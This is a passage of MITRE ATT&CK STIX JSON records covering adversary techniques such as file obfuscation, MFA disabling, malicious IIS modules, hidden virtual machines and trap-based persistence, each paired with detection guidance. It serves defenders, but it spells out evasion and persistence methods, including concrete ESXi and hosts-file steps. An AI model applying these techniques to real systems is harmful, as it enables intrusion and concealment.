            "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. \n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also use compressed or archived scripts, such as JavaScript. \n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) ",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Red Canary",
                "Christiaan Beek, @ChristiaanBeek"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system). \n\nFlag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''\"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016) \n\nObfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection. \n\nThe first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network Devices",
                "ESXi"
            ],
            "x_mitre_version": "1.7",
            "x_mitre_data_sources": [
                "WMI: WMI Creation",
                "Script: Script Execution",
                "File: File Creation",
                "Module: Module Load",
                "Application Log: Application Log Content",
                "Command: Command Execution",
                "File: File Metadata",
                "Process: OS API Execution",
                "Windows Registry: Windows Registry Key Creation",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--b4409cd8-0da9-46e1-a401-a241afd4d1cc",
            "created": "2022-05-31T19:31:38.431Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1556/006",
                    "external_id": "T1556.006"
                },
                {
                    "source_name": "Russians Exploit Default MFA Protocol - CISA March 2022",
                    "description": "Cyber Security Infrastructure Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and \u201cPrintNightmare\u201d Vulnerability. Retrieved May 31, 2022.",
                    "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-074a"
                },
                {
                    "source_name": "Mandiant APT42",
                    "description": "Mandiant. (n.d.). APT42: Crooked Charms, Cons and Compromise. Retrieved September 16, 2022.",
                    "url": "https://www.mandiant.com/media/17826"
                },
                {
                    "source_name": "Azure AD Conditional Access Exclusions",
                    "description": "Microsoft. (2022, August 26). Use Azure AD access reviews to manage users excluded from Conditional Access policies. Retrieved August 30, 2022.",
                    "url": "https://docs.microsoft.com/en-us/azure/active-directory/governance/conditional-access-exclusion"
                }
            ],
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            "modified": "2025-04-15T19:58:59.338Z",
            "name": "Multi-Factor Authentication",
            "description": "Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.\n\nOnce adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621), adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD Conditional Access Exclusions)\n\nFor example, modifying the Windows hosts file (`C:\\windows\\system32\\drivers\\etc\\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a \"fail open\" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA. (Citation: Russians Exploit Default MFA Protocol - CISA March 2022) \n\nDepending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022) ",
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                    "phase_name": "credential-access"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Liran Ravich, CardinalOps",
                "Muhammad Moiz Arshad, @5T34L7H",
                "Arun Seelagan, CISA"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "SaaS",
                "IaaS",
                "Linux",
                "macOS",
                "Office Suite",
                "Identity Provider"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Logon Session: Logon Session Creation",
                "Application Log: Application Log Content",
                "Active Directory: Active Directory Object Modification",
                "User Account: User Account Authentication",
                "User Account: User Account Modification"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a",
            "created": "2020-02-19T18:52:24.547Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1114/002",
                    "external_id": "T1114.002"
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            ],
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            "modified": "2025-04-15T22:59:50.429Z",
            "name": "Remote Email Collection",
            "description": "Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords.",
            "kill_chain_phases": [
                {
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                    "phase_name": "collection"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Arun Seelagan, CISA"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for unusual login activity from unknown or abnormal locations, especially for privileged accounts (ex: Exchange administrator account).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Office Suite"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "Logon Session: Logon Session Creation",
                "Command: Command Execution",
                "Network Traffic: Network Connection Creation"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--b46a801b-fd98-491c-a25a-bca25d6e3001",
            "created": "2021-06-03T18:44:29.770Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1505/004",
                    "external_id": "T1505.004"
                },
                {
                    "source_name": "Microsoft ISAPI Extension Overview 2017",
                    "description": "Microsoft. (2017, June 16). ISAPI Extension Overview. Retrieved June 3, 2021.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525172(v=vs.90)"
                },
                {
                    "source_name": "Microsoft ISAPI Filter Overview 2017",
                    "description": "Microsoft. (2017, June 16). ISAPI Filter Overview. Retrieved June 3, 2021.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms524610(v=vs.90)"
                },
                {
                    "source_name": "IIS Backdoor 2011",
                    "description": "Julien. (2011, February 2). IIS Backdoor. Retrieved June 3, 2021.",
                    "url": "https://web.archive.org/web/20170106175935/http:/esec-lab.sogeti.com/posts/2011/02/02/iis-backdoor.html"
                },
                {
                    "source_name": "Trustwave IIS Module 2013",
                    "description": "Grunzweig, J. (2013, December 9). The Curious Case of the Malicious IIS Module. Retrieved June 3, 2021.",
                    "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-curious-case-of-the-malicious-iis-module/"
                },
                {
                    "source_name": "Microsoft ISAPI Extension All Incoming 2017",
                    "description": "Microsoft. (2017, June 16). Intercepting All Incoming IIS Requests. Retrieved June 3, 2021.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525696(v=vs.90)"
                },
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                },
                {
                    "source_name": "MMPC ISAPI Filter 2012",
                    "description": "MMPC. (2012, October 3). Malware signed with the Adobe code signing certificate. Retrieved June 3, 2021.",
                    "url": "https://web.archive.org/web/20140804175025/http:/blogs.technet.com/b/mmpc/archive/2012/10/03/malware-signed-with-the-adobe-code-signing-certificate.aspx"
                },
                {
                    "source_name": "Microsoft IIS Modules Overview 2007",
                    "description": "Microsoft. (2007, November 24). IIS Modules Overview. Retrieved June 17, 2021.",
                    "url": "https://docs.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview"
                },
                {
                    "source_name": "ESET IIS Malware 2021",
                    "description": "Hromcov\u00e1, Z., Cherepanov, A. (2021). Anatomy of Native IIS Malware. Retrieved September 9, 2021.",
                    "url": "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf"
                },
                {
                    "source_name": "Unit 42 RGDoor Jan 2018",
                    "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-25T14:47:43.995Z",
            "name": "IIS Components",
            "description": "Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: <code>Get{Extension/Filter}Version</code>, <code>Http{Extension/Filter}Proc</code>, and (optionally) <code>Terminate{Extension/Filter}</code>. IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: Trustwave IIS Module 2013)\n\nAdversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Extension All Incoming 2017)(Citation: Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation: MMPC ISAPI Filter 2012)\n\nAdversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. IIS modules can be written as a DLL that exports <code>RegisterModule</code>, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation: ESET IIS Malware 2021)",
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                    "phase_name": "persistence"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for creation and/or modification of files (especially DLLs on webservers) that could be abused as malicious ISAPI extensions/filters or IIS modules. Changes to <code>%windir%\\system32\\inetsrv\\config\\applicationhost.config</code> could indicate an IIS module installation.(Citation: Microsoft IIS Modules Overview 2007)(Citation: ESET IIS Malware 2021)\n\nMonitor execution and command-line arguments of <code>AppCmd.exe</code>, which may be abused to install malicious IIS modules.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Unit 42 RGDoor Jan 2018)(Citation: ESET IIS Malware 2021)",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Command: Command Execution",
                "File: File Modification"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52",
            "created": "2020-02-10T19:49:46.752Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1036/001",
                    "external_id": "T1036.001"
                },
                {
                    "source_name": "Threatexpress MetaTwin 2017",
                    "description": "Vest, J. (2017, October 9). Borrowing Microsoft MetaData and Signatures to Hide Binary Payloads. Retrieved September 10, 2019.",
                    "url": "https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/"
                }
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            "object_marking_refs": [
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            "modified": "2025-04-15T22:43:00.641Z",
            "name": "Invalid Code Signature",
            "description": "Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)\n\nUnlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity will not result in a valid signature.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment, look for invalid signatures as well as unusual certificate characteristics and outliers.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File: File Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d",
            "created": "2020-06-29T15:36:41.535Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1564/006",
                    "external_id": "T1564.006"
                },
                {
                    "source_name": "vNinja Rogue VMs 2024",
                    "description": "Christian Mohn. (2024, November 11). Beware Of The Rogue VMs!. Retrieved March 26, 2025.",
                    "url": "https://vninja.net/2024/11/11/beware-of-the-rogue-vms/"
                },
                {
                    "source_name": "SingHealth Breach Jan 2019",
                    "description": "Committee of Inquiry into the Cyber Attack on SingHealth. (2019, January 10). Public Report of the Committee of Inquiry into the Cyber Attack on Singapore Health Services Private Limited's Patient Database. Retrieved June 29, 2020.",
                    "url": "https://www.mci.gov.sg/-/media/mcicorp/doc/report-of-the-coi-into-the-cyber-attack-on-singhealth-10-jan-2019.ashx"
                },
                {
                    "source_name": "CyberCX Akira Ransomware",
                    "description": "CyberCX. (2023, September 15). Weaponising VMs to bypass EDR \u2013 Akira ransomware. Retrieved April 4, 2025.",
                    "url": "https://cybercx.com.au/blog/akira-ransomware/"
                },
                {
                    "source_name": "Shadowbunny VM Defense Evasion",
                    "description": "Johann Rehberger. (2020, September 23). Beware of the Shadowbunny - Using virtual machines to persist and evade detections. Retrieved September 22, 2021.",
                    "url": "https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/"
                },
                {
                    "source_name": "MITRE VMware Abuse 2024",
                    "description": "Lex Crumpton. (2024, May 22). Infiltrating Defenses: Abusing VMware in MITRE\u2019s Cyber Intrusion. Retrieved March 26, 2025.",
                    "url": "https://medium.com/mitre-engenuity/infiltrating-defenses-abusing-vmware-in-mitres-cyber-intrusion-4ea647b83f5b"
                },
                {
                    "source_name": "Sophos Ragnar May 2020",
                    "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.",
                    "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:59.831Z",
            "name": "Run Virtual Instance",
            "description": "Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance.(Citation: CyberCX Akira Ransomware) Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)\n\nAdversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)\n\nIn VMWare environments, adversaries may leverage the vCenter console to create new virtual machines. However, they may also create virtual machines directly on ESXi servers by running a valid `.vmx` file with the `/bin/vmx` utility. Adding this command to `/etc/rc.local.d/local.sh` (i.e., [RC Scripts](https://attack.mitre.org/techniques/T1037/004)) will cause the VM to persistently restart.(Citation: vNinja Rogue VMs 2024) Creating a VM this way prevents it from appearing in the vCenter console or in the output to the `vim-cmd vmsvc/getallvms` command on the ESXi server, thereby hiding it from typical administrative activities.(Citation: MITRE VMware Abuse 2024)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Johann Rehberger",
                "Janantha Marasinghe",
                "Menachem Shafran, XM Cyber"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider monitoring for files and processes associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring the size of virtual machines running on the system. Adversaries may create virtual images which are smaller than those of typical virtual machines.(Citation: Shadowbunny VM Defense Evasion) Network adapter information may also be helpful in detecting the use of virtual instances.\n\nConsider monitoring for process command-line arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a silent installation may be especially suspect (ex. <code>-silent</code>, <code>-ignore-reboot</code>), as well as those associated with running a headless (in the background with no UI) virtual instance (ex. <code>VBoxManage startvm $VM --type headless</code>).(Citation: Shadowbunny VM Defense Evasion) Similarly, monitoring command line arguments which suppress notifications may highlight potentially malicious activity (ex. <code>VBoxManage.exe setextradata global GUI/SuppressMessages \"all\"</code>).\n\nMonitor for commands which enable hypervisors such as Hyper-V.  If virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software. \n\nBenign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "ESXi"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Modification",
                "Image: Image Metadata",
                "Service: Service Creation",
                "Process: Process Creation",
                "File: File Creation",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1154",
                    "external_id": "T1154"
                },
                {
                    "source_name": "Trap Manual",
                    "description": "ss64. (n.d.). trap. Retrieved May 21, 2019.",
                    "url": "https://ss64.com/bash/trap.html"
                },
                {
                    "source_name": "Cyberciti Trap Statements",
                    "description": "Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, 2019.",
                    "url": "https://bash.cyberciti.biz/guide/Trap_statement"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:16:01.491Z",
            "name": "Trap",
            "description": "The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common  keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "1.2"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--b577dfc1-0177-4522-8d5a-782127c8592b",
            "created": "2024-09-27T12:28:03.938Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1027/014",
                    "external_id": "T1027.014"
                },
                {
                    "source_name": "polymorphic-blackberry",
                    "description": "Blackberry. (n.d.). What is Polymorphic Malware?. Retrieved September 27, 2024.",
                    "url": "https://www.blackberry.com/us/en/solutions/endpoint-security/ransomware-protection/polymorphic-malware"
                },
                {
                    "source_name": "polymorphic-sentinelone",
                    "description": "SentinelOne. (2023, March 18). What is Polymorphic Malware? Examples and Challenges. Retrieved September 27, 2024.",
                    "url": "https://www.sentinelone.com/cybersecurity-101/threat-intelligence/what-is-polymorphic-malware"
                },
                {
                    "source_name": "polymorphic-medium",
                    "description": "Shellseekercyber. (2024, January 7). Explainer: Packed Malware. Retrieved September 27, 2024.",
                    "url": "https://medium.com/@shellseekerscyber/explainer-packed-malware-16f09cc75035"
                },
                {
                    "source_name": "polymorphic-linkedin",
                    "description": "Sherwin Akshay. (2024, May 28). Techniques for concealing malware and hindering analysis: Packing up and unpacking stuff. Retrieved September 27, 2024.",
                    "url": "https://www.linkedin.com/pulse/techniques-concealing-malware-hindering-analysis-packing-akshay-unijc"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:59:00.006Z",
            "name": "Polymorphic Code",
            "description": "Adversaries may utilize polymorphic code (also known as metamorphic or mutating code) to evade detection. Polymorphic code is a type of software capable of changing its runtime footprint during code execution.(Citation: polymorphic-blackberry) With each execution of the software, the code is mutated into a different version of itself that achieves the same purpose or objective as the original. This functionality enables the malware to evade traditional signature-based defenses, such as antivirus and antimalware tools.(Citation: polymorphic-sentinelone) \nOther obfuscation techniques can be used in conjunction with polymorphic code to accomplish the intended effects, including using mutation engines to conduct actions such as [Software Packing](https://attack.mitre.org/techniques/T1027/002), [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010), or [Encrypted/Encoded File](https://attack.mitre.org/techniques/T1027/013).(Citation: polymorphic-linkedin)(Citation: polymorphic-medium)\n",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Ye Yint Min Thu Htut, Active Defense Team, DBS Bank",
                "TruKno"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "File: File Creation",
                "File: File Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1201",
                    "external_id": "T1201"
                },
                {
                    "source_name": "AWS GetPasswordPolicy",
                    "description": "Amazon Web Services. (n.d.). AWS API GetAccountPasswordPolicy. Retrieved June 8, 2021.",
                    "url": "https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccountPasswordPolicy.html"
                },
                {
                    "source_name": "Jamf User Password Policies",
                    "description": "Holland, J. (2016, January 25). User password policies on non AD machines. Retrieved April 5, 2018.",
                    "url": "https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines"
                },
                {
                    "source_name": "Superuser Linux Password Policies",
                    "description": "Matutiae, M. (2014, August 6). How to display password policy information for a user (Ubuntu)?. Retrieved April 5, 2018.",
                    "url": "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu"
                },
                {
                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:59:00.168Z",
            "name": "Password Policy Discovery",
